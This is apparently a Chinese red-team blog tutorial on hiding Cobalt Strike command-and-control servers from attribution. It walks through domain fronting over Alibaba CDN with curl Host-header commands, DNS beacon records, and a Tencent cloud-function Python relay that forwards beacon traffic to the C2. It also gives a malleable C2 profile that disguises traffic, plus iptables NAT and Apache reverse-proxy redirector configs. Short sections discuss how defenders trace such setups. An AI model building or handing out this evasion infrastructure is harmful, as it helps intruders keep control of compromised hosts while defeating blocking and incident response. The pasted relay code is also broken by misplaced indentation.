【红队APT】反朔源隐藏&C2项目&CDN域前置&云函数&数据中转&DNS转发

域前置-CDN隐藏C2真实IP 防止被溯源

国内外云服务上大部分已经不支持域前置了,作者在阿里云刚刚复现成功…… 这里做简单的流程演示和相关的溯源分析

什么是域前置

区别于单纯的CDN隐藏IP技术;域前置技术采用高权重域名进行伪装,效果要更上一层楼!

在这里插入图片描述
条件

对自己的域名开启全站加速(DCDN服务),这里我使用的是阿里云

在这里插入图片描述

关于域名解析等琐碎的事情,这里省略了……当然添加SLL证书的话效果会更好 超级ping获得各个节点的ip,选择一个ip进行域名反查,获取其中高信誉的域名(权重高、知名域名) 如图所示新增监听器

在这里插入图片描述

https host header是载荷通信传输命令和结果的请求地址,流量审查的时候,https请求证书的地址为www.baidu.com。而实际与cs.whgojp.top进行数据交互

原理

注意上图中填写的host Header 部分 cs.whgojp.top 单次请求类似于下方

代码语言:javascript
复制
curl -v -H "host:cs.whgojp.top" https://www.baidu.com

意思是请求百度站点,但因为指定了host,所以实际上请求的是同服务器上的cs.whgojp.top站点。 当我们请求一个部署了 CDN 服务的域名时,实际上也默认使用了云厂商内部的解析器。 而云厂商内部的解析器,实际会根据 Header 中的 Host 字段判断回源域名,最后效果是,请求内容以Host字段为准。

在这里插入图片描述

这里可以看到实际返回的结果还是百度的,并没有返回https://cs.whgojp.top上面的请求数据 因为厂商不支持域前置,而且此处的www.baidu.com CDN节点ip与我的并不相同。这里只是做演示 那么如果存在域前置的话,这里返回的数据应该和下方请求相同

代码语言:javascript
复制
curl -v host:cs.whgojp.top

cs.whgojp.top代表着我们的恶意站点,www.baidu.com就是同服务器上的其它一个高可信站点,利用域前置,审查流量时显示的就是高可信域名,而看不到我们的恶意域名,所以可用来逃避流量审查,隐藏真实IP。

完整复现

复现成功 之前复现的时候反查ip啥也没查出来(平台问题),今天又试了试,换了好几家平台,终于成功了 这里使用的是奇安信态势感知平台进行ip反查域名

在这里插入图片描述

这里我没有找到信誉特别高的域名,而且几乎所有的域名后都加了w.kunlunaq.com 后缀(不知道这是不是什么防御措施) 这里找到一个不带后缀的域名

代码语言:javascript
复制
curl -v -H "host:cs.whgojp.top" https://cdn.jijyun.cn	#不知名网站 凑合复现
在这里插入图片描述

成功就解析到cs.whgojp.top页面上,也就是说存在域前置(阿里云还是可以使用域前置技术的)

进行简单上线,抓包分析,成功复现!!!

在这里插入图片描述

而且这里的外联IP和云函数一样不停的在变化。 试想一下:域前置+修改CS profile原生特征(header字段 心跳包频率 ssl证书等)+傀儡机代理+域名不备案(别人的域名)+等等等等 这怎么溯源? 这里简单分析一下上线流量数据包

在这里插入图片描述

这加密后的https啥也看不出来啊……

域前置溯源

前几天面试问到了使用了域前置怎么溯源? emmm 这里拿自己生成的样本payload进行简单溯源 条件:样本Payload,

在这里插入图片描述

通过Banner信息测绘与基于样本通信特征扫描的方式获取域前置的真正Host 1、根据已经拿到的资产获取Web指纹(开放的服务及版本、端口等)、Banner信息,分析获取测绘特征。 2、根据测绘特征在Zoomeye、Fofa、Shodan等平台搜索,通过时间、地区等条件初步筛选,获得资产列表,这个列表可能很大。 3、通过分析样本,获取通信特征(Uri、回包大小、Header等)向资产列表发通信包,动态过滤;根据已有资产规则(IP段分布、IDC服务商、域名构造特征、证书服务商等)人工静态过滤,得到较精确的网络资产列表。

节选自:https://www.anquanke.com/post/id/260888#h2-10

DNS协议-域名记录解析

1、域名解析设置A,NS记录

代码语言:javascript
复制
ns1 ns cs.xxx.com
ns2 ns cs.xxx.com
cs  A  xx.xx.xx.xx(CS的IP)
在这里插入图片描述

2、CS监听器-DNS Beacon DNS DNS地址配置:

代码语言:javascript
复制
ns1.xxx.com
ns2.xxx.com
在这里插入图片描述

3、执行后checkin唤醒

在这里插入图片描述

这个DNS上线早在内网渗透过程中已经做过相关解释

在这里插入图片描述

云函数-腾讯云操作

1、创建云函数 腾讯云-云产品-云函数-函数服务-新建 2、创建函数服务 选择从头开始-函数类型选择事件函数-函数名称任意- 运行环境选择python3.6-并复制如下代码并修改CS的IP-点击完成

代码语言:javascript
复制
#-*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
    C2='https://XXXX'  # 修改为自己C2服务器地址
    path=event['path']
    headers=event['headers']
    print(event)
    if event['httpMethod'] == 'GET' :
        resp=requests.get(C2+path,headers=headers,verify=False) 
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
        print(resp.headers)
        print(resp.content)
response={
    "isBase64Encoded": True,
    "statusCode": resp.status_code,
    "headers": dict(resp.headers),
    "body": str(base64.b64encode(resp.content))[2:-1]
}
return response</code></pre></div></div><p>3、创建触发器

触发方式选择API网关触发-勾选启用集成响应-点击提交
4、配置触发器
点击API服务名对触发器进行配置
将路径修改为/,然后点击立即完成
5、配置profile文件-触发URL

代码语言:javascript
复制
set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {

set uri &#34;/api/x&#34;;

client {
    header &#34;Accept&#34; &#34;*/*&#34;;
    metadata {
        base64;
        prepend &#34;SESSIONID=&#34;;
        header &#34;Cookie&#34;;
    }
}

server {
    header &#34;Content-Type&#34; &#34;application/ocsp-response&#34;;
    header &#34;content-transfer-encoding&#34; &#34;binary&#34;;
    header &#34;Server&#34; &#34;Nodejs&#34;;
    output {
        base64;
        print;
    }
}

}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "/";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}

server {
    header &#34;Content-Type&#34; &#34;application/ocsp-response&#34;;
    header &#34;content-transfer-encoding&#34; &#34;binary&#34;;
    header &#34;Connection&#34; &#34;keep-alive&#34;;
    output {
        base64;
        print;
    }
}

}

在这里插入图片描述


这里不做云函数相关配置演示
6、启动CS加载profile

代码语言:javascript
复制
./teamserver IP 密码 xxx.profile

7、CS新添监听器

在这里插入图片描述

以该监听器生成后门进行上线有一个有意思的特点就是external IP 不停的在变化(而且都是腾讯云的IP)

云函数隐藏真实IP上线

这里使用火绒剑看下上线主机外联IP

在这里插入图片描述

这里可以看下,上面是使用云函数上线的后门(连接腾讯云下某ip),下面是未使用云函数的后门(正常连接恶意服务器) 查一下该IP归属175.24.155.20

在这里插入图片描述

成功隐藏自己真实IP,因为IP不停的在变化,即使封掉该IP也会有其他节点IP进行上线 毕竟使用云函数服务是需要Money的emmm

在这里插入图片描述

腾讯云后台云函数API调用数据

云函数如何溯源

最近面蓝护,学到什么都要想一想怎么溯源 篇幅过长,放在了下篇文章了……

端口转发-Iptables

1、转发机设置转发:(80改443即https)这里我使用同C段下kali进行转发

代码语言:javascript
复制
iptables -I INPUT -p tcp -m tcp --dport 80 -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 47.94.130.42:80
iptables -t nat -A POSTROUTING -j MASQUERADE
iptables -I FORWARD -j ACCEPT
iptables -P FORWARD ACCEPT
sysctl net.ipv4.ip_forward  =1
在这里插入图片描述

2、CS监听器配置转发机IP CS新建监听器10.10.10.146

在这里插入图片描述

上线之后,其实只是做了一个简单的流量转发,IP封掉就下线

在这里插入图片描述

中间件反向代理-Apache

1、代理机安装Apache:

代码语言:javascript
复制
apt-get install apache2
a2enmod proxy proxy_ajp proxy_balancer proxy_connect proxy_http
systemctl restart apache2
/etc/apache2/sites-enabled/000-default.conf

2、中间件设置转发:

代码语言:javascript
复制
http:
ProxyPass "/" "http://CS的IP/"
ProxyPassReverse "/" "http://CS的IP/"
https:
ProxyPass "/" "https://CS的IP/"
ProxyPassReverse "/" "https://CS的IP/"

3、重启Apache服务

代码语言:javascript
复制
service apache2 restart

4、CS监听器配置转发机IP

在这里插入图片描述

可以看到这里正常上线,也是简单的进行流量代理,这里我把上面的iptables转发配置清空了,避免干扰

注:

如果中转服务器被拿下的话,那么搜集信息很可能就可以发现请求重定向的痕迹,从而找到真实C2地址。 请求重定向也可以和之前的CDN方法相结合,之前CDN方法是通过CDN将请求转发到真实的C2服务器上,而添加请求重定向后,流程就变为了CDN转发到中转服务器,中转服务器再转到C2,达到双重隐藏的效果。